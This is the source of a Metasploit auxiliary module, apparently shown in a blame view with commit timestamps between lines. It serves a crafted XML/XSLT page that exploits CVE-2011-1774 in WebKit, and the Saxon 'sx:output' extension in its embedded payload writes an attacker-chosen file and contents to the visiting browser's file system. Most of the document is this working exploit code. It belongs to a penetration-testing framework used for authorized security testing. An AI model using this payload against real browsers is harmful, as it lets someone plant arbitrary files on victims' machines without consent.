2011-10-18 16:30:28 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-10-18 16:30:28 +00:00
|
|
|
##
|
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
|
include Msf::Auxiliary::Report
|
2011-10-18 16:30:28 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
|
|
|
|
'Name' => 'Cross Platform Webkit File Dropper',
|
|
|
|
|
'Description' => %q{
|
|
|
|
|
This module exploits a XSLT vulnerability in Webkit to drop ASCII or UTF-8
|
|
|
|
|
files to the target file-system. By default, the file will be dropped in
|
|
|
|
|
C:\Program Files\
|
|
|
|
|
},
|
|
|
|
|
'Author' => [ 'Nicolas Gregoire' ],
|
|
|
|
|
'License' => MSF_LICENSE,
|
2018-07-12 23:26:07 +00:00
|
|
|
'References' =>
|
|
|
|
|
[
|
|
|
|
|
[ 'CVE', '2011-1774' ]
|
|
|
|
|
],
|
2013-08-30 21:28:54 +00:00
|
|
|
'Actions' =>
|
|
|
|
|
[
|
|
|
|
|
[ 'WebServer' ]
|
|
|
|
|
],
|
|
|
|
|
'PassiveActions' =>
|
|
|
|
|
[
|
|
|
|
|
'WebServer'
|
|
|
|
|
],
|
|
|
|
|
'DefaultAction' => 'WebServer'))
|
2011-10-18 16:30:28 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
|
[
|
|
|
|
|
OptString.new('REMOTE_PATH', [ true, "Location of the remote file", 'flag.txt' ]),
|
|
|
|
|
OptString.new('REMOTE_CONTENT', [ true, "Content of the remote file", 'Hello from CVE-2011-1774' ])
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2011-10-18 16:30:28 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
path = datastore['REMOTE_PATH']
|
|
|
|
|
content = datastore['REMOTE_CONTENT']
|
|
|
|
|
html = <<-EOS
|
2011-10-18 16:30:28 +00:00
|
|
|
<?xml-stylesheet type="text/xml" href="#fragment"?>
|
|
|
|
|
<!-- Define the DTD of the document
|
|
|
|
|
This is needed, in order to later reference the XSLT stylesheet by a #fragment
|
|
|
|
|
This trick allows to have both the XML and the XSL in the same file
|
|
|
|
|
Cf. http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html -->
|
|
|
|
|
<!DOCTYPE doc [
|
|
|
|
|
<!ATTLIST xsl:stylesheet
|
|
|
|
|
id ID #REQUIRED
|
|
|
|
|
>]>
|
|
|
|
|
<doc>
|
|
|
|
|
|
|
|
|
|
<!-- Define location and content of the file -->
|
|
|
|
|
<path><![CDATA[#{path}]]></path>
|
|
|
|
|
<content><![CDATA[#{content}]]></content>
|
|
|
|
|
|
|
|
|
|
<!-- The XSLT stylesheet header, including the "sx" extension -->
|
2011-10-23 11:56:13 +00:00
|
|
|
<xsl:stylesheet id="fragment" version="1.0"
|
2011-10-18 16:30:28 +00:00
|
|
|
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
|
|
|
|
|
xmlns:sx="http://icl.com/saxon"
|
|
|
|
|
extension-element-prefixes="sx"
|
|
|
|
|
xmlns="http://www.w3.org/1999/xhtml" >
|
|
|
|
|
<xsl:output method="xml" indent="yes" />
|
|
|
|
|
|
|
|
|
|
<!-- The XSLT template -->
|
|
|
|
|
<xsl:template match="/">
|
|
|
|
|
<!-- Create the file -->
|
|
|
|
|
<xsl:variable name="path" select="//path/text()"/>
|
|
|
|
|
<sx:output file="{$path}" method="text">
|
|
|
|
|
<xsl:value-of select="//content"/>
|
|
|
|
|
</sx:output>
|
|
|
|
|
<!-- Send some output to the browser -->
|
|
|
|
|
<html> </html>
|
|
|
|
|
</xsl:template>
|
|
|
|
|
</xsl:stylesheet>
|
|
|
|
|
</doc>
|
|
|
|
|
EOS
|
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Sending XSLT payload ...")
|
|
|
|
|
print_status("Destination file : #{path}")
|
|
|
|
|
send_response_html(cli, html, { 'Content-Type' => 'application/xml' })
|
|
|
|
|
end
|
2011-10-18 16:30:28 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
|
|
|
|
exploit()
|
|
|
|
|
end
|
2011-10-18 16:30:28 +00:00
|
|
|
end
|
